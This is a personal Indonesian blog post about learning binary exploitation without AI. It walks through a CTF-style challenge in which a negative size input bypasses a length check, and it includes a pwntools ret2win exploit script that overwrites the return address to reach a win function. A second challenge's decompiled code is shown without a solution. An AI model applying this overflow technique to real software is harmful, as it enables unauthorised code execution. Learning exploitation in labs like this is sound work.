Challenge Semalam Belajar Tanpa AI - Day 1

Deskripsi

Sesuai judul lah ya, gw mau belajar apapun semalam tanpa AI, bentuk challenge gw ke diri sendiri. Mengapa gw lakukan challenge ini? Simply gw merasa something wrong dengan cara belajar gw. Nah langsung aja.

Belajar Pwn

Pwn Pertama

Topik pertama yaitu memory error. Ini adalah hasil disassemblynya :

1
__int64 challenge()
2
{
3
  int *v0; // rax
4
  char *v1; // rax
5
  int nbytes; // [rsp+2Ch] [rbp-24h] BYREF
6
  _QWORD nbytes_4[2]; // [rsp+30h] [rbp-20h] BYREF
7
  int v5; // [rsp+40h] [rbp-10h]
8
  int v6; // [rsp+44h] [rbp-Ch]
9
  void *buf; // [rsp+48h] [rbp-8h]
10

11
  nbytes_4[0] = 0LL;
12
  nbytes_4[1] = 0LL;
13
  v5 = 0;
14
  buf = nbytes_4;
15
  nbytes = 0;
16
  printf("Payload size: ");
17
  __isoc99_scanf("%i", &nbytes);
18
  if ( nbytes > 20 )
19
  {
20
    puts("Provided size is too large!");
21
    exit(1);
22
  }
23
  printf("Send your payload (up to %i bytes)!\n", (unsigned int)nbytes);
24
  v6 = read(0, buf, (unsigned int)nbytes);
25
  if ( v6 < 0 )
26
  {
27
    v0 = __errno_location();
28
    v1 = strerror(*v0);
29
    printf("ERROR: Failed to read input -- %s!\n", v1);
30
    exit(1);
31
  }
32
  puts("Goodbye!");
33
  return 0LL;
34
}

Program meminta 2 input.

1
printf("Payload size: ");
2
  __isoc99_scanf("%i", &nbytes);

Input pertama yaitu potongan program di atas, input masuk dalam bentuk integer ke dalam variabel nbytes. Setelah itu, program akan melakukan validasi panjang bytes dari variabel nbytes atau input. Berikut :

1
if ( nbytes > 20 )
2
  {
3
    puts("Provided size is too large!");
4
    exit(1);
5
  }

Jadi, program akan melakukan pengecekan apakah nbytes panjangnya melebihi 20, apabila iya program akan exit. Kalau input berhasil melewati validasi, masuk ke input kedua.

1
printf("Send your payload (up to %i bytes)!\n", (unsigned int)nbytes);
2
  v6 = read(0, buf, (unsigned int)nbytes);

Input ini memasukkan input ke dalam variabel buf, dengan panjang sepanjang nbytes.

Awalnya saya bingung, ini bagaimana? Tapi saya kepikiran untuk ngetest integer overflow. Di bawah ini adalah ketika saya mencoba memasukkan input pertama dengan 20 :

1
Payload size: 20
2
Send your payload (up to 20 bytes)!
3
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
4
Goodbye!

Dan di bawah ini ketika saya mencoba memasukkan input dengan -1 :

1
Payload size: -1
2
Send your payload (up to -1 bytes)!
3
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
4
Goodbye!
5
[1]    245 segmentation fault (core dumped)

Dan ternyata core dumped. Nah kan kita udah tau nih klaau input pertama vuln dengan integer overflow. Dari input kedua, keliatan kalau ini vuln ret2win biasa. Untuk buffernya berikut :

1
_QWORD nbytes_4[2]; // [rsp+30h] [rbp-20h] BYREF

Kan di sampingnya ada kayak comment [rbp - 20h] gitukan, nah ngitungnya tinggal 0x20 + 8 byte (sesuain dengan arsitektur programnya, kalau 32bit berarti jumlah dengan 4byte).

Setelah dapetin paddingnya, kita cek dulu proteksinya pake checksec, dan ternyata PIE-nya mati, jadi tinggal ambil address dari gdb aja deh.

gdb ./chall
info func

Terus copy address dari win functionnya.

0x0000000000401a45  win
0x0000000000401b4c  challenge
0x0000000000401c44  main

Berarti win addressnya ada di 0x0000000000401a45. Nah berikut adalah exploitnya:

1
from pwn import *
2

3
context.binary = ELF('/chall)
4

5
p = process()
6
payload = b"A" * (0x20 + 8) + p64(0x401a45)
7
p.recvuntil(b"Payload size:")
8
p.sendline(b"-1")
9
p.recvuntil("Send your payload")
10
p.send(payload)
11
p.interactive()

Dan challenge solved.

Pwn Kedua

Jir coeegggggg, badan gw lebih cepet pegel oaskaoakwowoawkaowk.

1
__int64 challenge()
2
{
3
  int *v0; // rax
4
  char *v1; // rax
5
  unsigned int v3; // [rsp+28h] [rbp-38h] BYREF
6
  unsigned int v4; // [rsp+2Ch] [rbp-34h] BYREF
7
  __int64 v5[2]; // [rsp+30h] [rbp-30h] BYREF
8
  int v6; // [rsp+40h] [rbp-20h]
9
  __int16 v7; // [rsp+44h] [rbp-1Ch]
10
  int v8; // [rsp+4Ch] [rbp-14h]
11
  size_t nbytes; // [rsp+50h] [rbp-10h]
12
  void *buf; // [rsp+58h] [rbp-8h]
13

14
  v5[0] = 0LL;
15
  v5[1] = 0LL;
16
  v6 = 0;
17
  v7 = 0;
18
  buf = v5;
19
  nbytes = 0LL;
20
  printf("Number of payload records to send: ");
21
  __isoc99_scanf("%u", &v4);
22
  if ( !v4 )
23
    __assert_fail("record_num > 0", "/chall.c", 0x49u, "chall");
24
  printf("Size of each payload record: ");
25
  __isoc99_scanf("%u", &v3);
26
  if ( !v3 )
27
    __assert_fail("record_size > 0", "/chall.c", 0x4Cu, "chall");
28
  if ( v3 * v4 > 0x16 )
29
    __assert_fail("record_size * record_num <= 22", "/chall.c", 0x4Du, "chall");
30
  nbytes = v3 * (unsigned __int64)v4;
31
  printf("Send your payload (up to %lu bytes)!\n", nbytes);
32
  v8 = read(0, buf, nbytes);
33
  if ( v8 < 0 )
34
  {
35
    v0 = __errno_location();
36
    v1 = strerror(*v0);
37
    printf("ERROR: Failed to read input -- %s!\n", v1);
38
    exit(1);
39
  }
40
  puts("Goodbye!");
41
  return 0LL;
42
}

Bentar yah gw istirahat bntr.

Kesimpulan

Kesimpulannya : lebih cepet ngantuk OAKWOKAOWKOAWOAWKOAWK